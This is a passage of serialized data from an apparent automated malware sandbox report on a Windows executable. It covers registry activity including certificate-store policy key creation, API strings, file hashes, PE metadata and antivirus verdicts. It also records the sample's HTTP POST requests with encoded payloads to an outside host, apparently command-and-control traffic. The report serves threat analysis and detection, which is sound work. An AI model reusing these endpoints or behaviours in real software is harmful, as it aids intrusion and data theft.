"QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "")41:T8c2,"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "2C22000000000000040004000100010001010000F1D9A3007C00020000000571AE000708B8000C14B5000C3584000D7879000DA18100158AA20015E17A0016277B0016DDA400174B73001B4278001BF60B001C955C001DA16C001E8D52001F4EA8001F5D7A001FF77B0021777A00244BAB0024ACC700259960002989DF002A68A9002B2499002C3D810032D1A70036AC52003CB352003E33830041A8760042264A0048C24F0049E57D0049EAB7004AA710004AAA81004EBF72004F85B50053CE8400560A85005A5EB5006041AE00682C900069C3A3006B767D006F0B6D00726E4A007477AD0075A37E0078EF6400799C39007CF788007FD189008106950081515D008227730083F1600084E683008550AE0087DE83008A8093008B5188008C0E7B008E78A20090F7AF00936DAD0093866100959B5100976AB60097748D00978EAB009BE07A009D9D9200A2050600A6D69A00A736A800A7B8AD00A90DAE00B1CE9800B3F1A200B79C1400BB8E8B00BBAE7E00BC6EB400BCFA8D00BD539800BE0CAC00C046AD00C0CC9900C36D8100C4114C00C8464E00C9389700CA23B700CC495600CDBD8C00CF74AA00CFC29400D0175600D0725B00D08EAB00D19A7B00D1D2A700D3826100D3E88D00DAFF0E00DB6EA100E1C97700E21B5600E42A5E00E7997F00EBBF8400EEE17D00F17D5F00F1D9A300F1FC6000F548B100F7125E00F7D36F00F7ED6A00F8FE8200F9778C005A000600000003CC910007B3AD000858710009EF7D000BFF5C000E4D7E000FBA9E00110FAA001319830013B7B10013E9780016F0B20017349B001786A70019C398001C4452001D97A90022D38900316DBB003256AE0032E9830036A6AC00395EA700427F7A004293800042B3AE0042C46A0042FA5800472471004C41B4004CA770004EA059004F0CAC00508FC4005CE17D00624F980066E7820069D281006B0961006E7B8C007140A300723C120072B29F0073CD610073D3A700757C860076418E0085CAA90091508A0091D3A30093168900938EAB0098B9A40099698A009CE0A8009D9FA0009F60C3009F8F6E00A02AAB00A18EAB00A1D7B300A3F76A00A522A400A58F6000A644A600A9A4C200AA1BAA00B6515D00BA146500BC88B100BC8AA700BD388F00BE558200C176B300C33EA300C456A100CC4BA700D0FE6200D1589600D6B79A00D93DAA00DC38AB00DE3D8300E17E8C00E98AA700EAB94F00EC9FBB00ED0CAD00F4AD7A00FE208B000400400100000571AE006041AE00682C9000F1D9A300010043010000C0EC7C0000")42:T6f2,Found string "GetDpiForWindow" (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3, API is part of module: USER32.DLL) Found string "GetDpiForMonitor" (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3, API is part of module: SHCORE.DLL) Found string "GetPointerPenInfo" (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3, API is part of module: USER32.DLL) Found string "SetProcessDPIAware" (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3, API is part of module: USER32.DLL) Found string "GetPointerTouchInfo" (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3, API is part of module: USER32.DLL) Found string "GetPointerDeviceRects" (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3, API is part of module: USER32.DLL) Found string "SetProcessDpiAwareness" (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3, API is part of module: SHCORE.DLL) Found string "SkipPointerFrameMessages" (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3, API is part of module: USER32.DLL) Found string "AdjustWindowRectExForDpi" (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3, API is part of module: USER32.DLL) Found string "EnableNonClientDpiScaling" (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3, API is part of module: USER32.DLL) Found string "GetPointerFrameInfoHistory" (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3, API is part of module: USER32.DLL) Found string "SetWindowCompositionAttribute" (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3, API is part of module: USER32.DLL)43:T889,"POST /quarry/vein HTTP/1.1 content-type: text/plain content-length: 348 accept: */* host: westbeavers.com" with payload::==> "TAbnfuffu3xtcg1Qn4MFs01K7J4T/HidMW3aLuPSsj0FpCVYqQUcaUzabNNDt9ZgHVuWm5j2lorIuuSb3N7rHj++FhnkQ62rK9BU0KXZbWrh/jcNG9Ejfc6xejCgBR3iIOzz5KCe4XK0oVK2XvvtxZRoENKeR8xw+GaEtAxwasSMMNVBeSjdCZ3vj8bLb178uOPzmdeS6EpaG1yxJmckm0lym/C6TveUQT27sPdhzDZ/azY9JC4sm9x3S8K3+NgSOH2/Cryue96LFvcK40J/gUXHewQeG5SOxbyLN1Jrja0iY/YgVBHCc8yYFikMNWo5fhRaxN0qPd3TsbGE3WdHFGCsaiY3" HTTP/1.1 200 OK Date: Thu 13 Aug 2026 20:20:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 100 Connection: keep-alive vary: Origin cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=JrkBIXmw1QbUOVx%2BaDWGKnXU2M5n4Y5Wx%2ByTcZ2HJEDHGDDHeOPbTezGHNoGvO0124YAKqQACOJrMLO4qHpgGt65U7%2BOMRyxsrwghm7hoVPmaCvKfbfmDghIBuyad9yOGNA%3D"}]} Server: cloudflare CF-RAY: a2aa6b99b9a949ec-SJC alt-svc: h3=":443"; ma=86400 with response body ==>544D7654624A754B5270564B754E7848765263596B37584C717867746E614B76524F76753955424472436C514B512B3831425A4945434357416F554562435A4B....... "POST /quarry/deposit HTTP/1.1 content-type: text/plain content-length: 296 accept: */* host: westbeavers.com" with payload::==> "TIXiEheAnra65nUpKYwKT8zl6Hh1PQWjKymcoZn46/xY/T4dLfz7wjbbU1k9WEGxCKqqyqw3Sd8MoS7Lt8GBy05FEA63RBy/6GM9xKygtHDsCE+F9oLSS2q24fYDxBqi08dRpVF+tfh1664CJb8FRSr8D/hS2gwiGFtBvq5v9nc+CUWKMsvmQEIbcX8U/0UB6UleDDHHGNKc/Y9ht1FVyg5UBicK08nI32YgduaPNTSpNtoGbZLP9RfTAhpaSr004oAOrL0EMjU0iLI+Fmpbwz8Qc3kekbypqVn5sSlW" HTTP/1.1 200 OK Date: Thu 13 Aug 2026 20:20:25 GMT Content-Length: 0 Connection: keep-alive vary: Origin cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=UAUHk9750WlEhTxazY%2BvUO6mgC57Vl66TwVU9zpIVM6M1xfsVZBtXtC54gbSUNdgnHPPBLS6aj3h1nedFxN5xS%2BBr4Dz90m%2BQlatq4ORQT0n80E33s0QRvNpc0z6gW7G7Kc%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a2aa6b9b68aa8bdb-SJC alt-svc: h3=":443"; ma=86400 with no response body44:T10a7,"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")45:T400,AAABAAEAICAQRQAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AiIiIiIiIiI///////////4iIiIiIiIiI//////////+IiIiIiIiIiI//////////iIiIiIiIiIiI/////////4iIiIiIiIiIiI////////+IiIiIiIiIiIiI////////iIiIiIgRERERERH//////4iIiIiHERERERERf/////+IiIiIgRERERERER//////iIiIiHEREREREREX/////4iIiIgREREREREREY////+IiIiHERERERERERF4////iIiIgRERERERERERGI///4iIiHEREREREREREReI//+IiIgRERERERERERERiI//iIiBERERERERERERERiI/4iIgREREREREREREREYiI+IiIgRERERERERERERiIiIiIiIcRERERERERERF4iIiIiIiIERERERERERERiIiIiIiIiHERERERERERF4iIiIiIiIiBERERERERERiIiIiIiIiIhxERERERERF4iIiIiIiIiIgRERERERERiIiIiIiIiIiIcRERERERF4iIiIiIiIiIiIERERERERiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":76,"unified_at_epoch_ms":1791911820156,"unified_at":"2026-10-13T17:17:00.156Z","metadata":{"hashes":{"sha256":"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","sha1":"3b00f51e00d8e10bf513414a13a4da96c4abfc32","md5":"d62d4b7811e37ce789b40ff9343e3458","sha512":"83fc9d71d7fe454ca54b577a2499475799e835296360f6bf0bfec5bbae0b2ba9f062ea37f1e19bd2a13314fc72f5d0869ed1ac8d01aa8b4c0037f8905ea687e1","ssdeep":"49152:VXsfP8X/Zc1A2CBRfj0avlzCWyeymk1S43Q9gp5COL9ZBba+lgwH1OHPBeEeYOJH:GpQIEaep46gfnbJ1OZeENeuM++Dgh","ssdeep_chunks":["49152:VXsfP8X","49152:XsfP8X/","49152:sfP8X/Z","49152:fP8X/Zc","49152:P8X/Zc1","49152:8X/Zc1A","49152:X/Zc1A2","49152:/Zc1A2C","49152:Zc1A2CB","49152:c1A2CBR","49152:1A2CBRf","49152:A2CBRfj","49152:2CBRfj0","49152:CBRfj0a","49152:BRfj0av","49152:Rfj0avl","49152:fj0avlz","49152:j0avlzC","49152:0avlzCW","49152:avlzCWy","49152:vlzCWye","49152:lzCWyey","49152:zCWyeym","49152:CWyeymk","49152:Wyeymk1","49152:yeymk1S","49152:eymk1S4","49152:ymk1S43","49152:mk1S43Q","49152:k1S43Q9","49152:1S43Q9g","49152:S43Q9gp","49152:43Q9gp5","49152:3Q9gp5C","49152:Q9gp5CO","49152:9gp5COL","49152:gp5COL9","49152:p5COL9Z","49152:5COL9ZB","49152:COL9ZBb","49152:OL9ZBba","49152:L9ZBba+","49152:9ZBba+l","49152:ZBba+lg","49152:Bba+lgw","49152:ba+lgwH","49152:a+lgwH1","49152:+lgwH1O","49152:lgwH1OH","49152:gwH1OHP","49152:wH1OHPB","49152:H1OHPBe","49152:1OHPBeE","49152:OHPBeEe","49152:HPBeEeY","49152:PBeEeYO","49152:BeEeYOJ","49152:eEeYOJH","98304:VXsfP8X","98304:XsfP8X/","98304:sfP8X/Z","98304:fP8X/Zc","98304:P8X/Zc1","98304:8X/Zc1A","98304:X/Zc1A2","98304:/Zc1A2C","98304:Zc1A2CB","98304:c1A2CBR","98304:1A2CBRf","98304:A2CBRfj","98304:2CBRfj0","98304:CBRfj0a","98304:BRfj0av","98304:Rfj0avl","98304:fj0avlz","98304:j0avlzC","98304:0avlzCW","98304:avlzCWy","98304:vlzCWye","98304:lzCWyey","98304:zCWyeym","98304:CWyeymk","98304:Wyeymk1","98304:yeymk1S","98304:eymk1S4","98304:ymk1S43","98304:mk1S43Q","98304:k1S43Q9","98304:1S43Q9g","98304:S43Q9gp","98304:43Q9gp5","98304:3Q9gp5C","98304:Q9gp5CO","98304:9gp5COL","98304:gp5COL9","98304:p5COL9Z","98304:5COL9ZB","98304:COL9ZBb","98304:OL9ZBba","98304:L9ZBba+","98304:9ZBba+l","98304:ZBba+lg","98304:Bba+lgw","98304:ba+lgwH","98304:a+lgwH1","98304:+lgwH1O","98304:lgwH1OH","98304:gwH1OHP","98304:wH1OHPB","98304:H1OHPBe","98304:1OHPBeE","98304:OHPBeEe","98304:HPBeEeY","98304:PBeEeYO","98304:BeEeYOJ","98304:eEeYOJH","49152:GpQIEae","49152:pQIEaep","49152:QIEaep4","49152:IEaep46","49152:Eaep46g","49152:aep46gf","49152:ep46gfn","49152:p46gfnb","49152:46gfnbJ","49152:6gfnbJ1","49152:gfnbJ1O","49152:fnbJ1OZ","49152:nbJ1OZe","49152:bJ1OZeE","49152:J1OZeEN","49152:1OZeENe","49152:OZeENeu","49152:ZeENeuM","49152:eENeuM+","49152:ENeuM++","49152:NeuM++D","49152:euM++Dg","49152:uM++Dgh"],"imphash":"e2af0eaf9f3adfecfc89acd422170d75","pehash":"c00aaf6337a934016d83990fca9f089498beb43c"},"file_info":{"file_name":"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":7892512,"entropy":6.72,"compile_timestamp":"2020-04-15T14:24:25","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1785082815000,"last_seen":1791911801000,"last_multi_scan":1791911801000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":8,"import_count":0,"export_count":0,"embedded_file_count":5,"sections":[{"name":".text","virtual_address":"0x1000","virtual_size":5042486,"raw_size":5042688},{"name":".rdata","virtual_address":"0x4d1000","virtual_size":2672116,"raw_size":2672128},{"name":".data","virtual_address":"0x75e000","virtual_size":5624,"raw_size":5120},{"name":".pdata","virtual_address":"0x760000","virtual_size":103272,"raw_size":103424},{"name":".tls","virtual_address":"0x77a000","virtual_size":2337,"raw_size":2560},{"name":"_RDATA","virtual_address":"0x77b000","virtual_size":1092,"raw_size":1536},{"name":".rsrc","virtual_address":"0x77c000","virtual_size":19952,"raw_size":19968},{"name":".reloc","virtual_address":"0x781000","virtual_size":31648,"raw_size":31744}],"section_names":[".text",".rdata",".data",".pdata",".tls","_RDATA",".rsrc",".reloc"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":76,"tags":["evasive","suspicious"]},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":2,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":84},"sandbox_signatures":{"informative_count":177,"suspicious_count":10,"malicious_count":0,"total":187},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_100.0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.DangerousSig","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"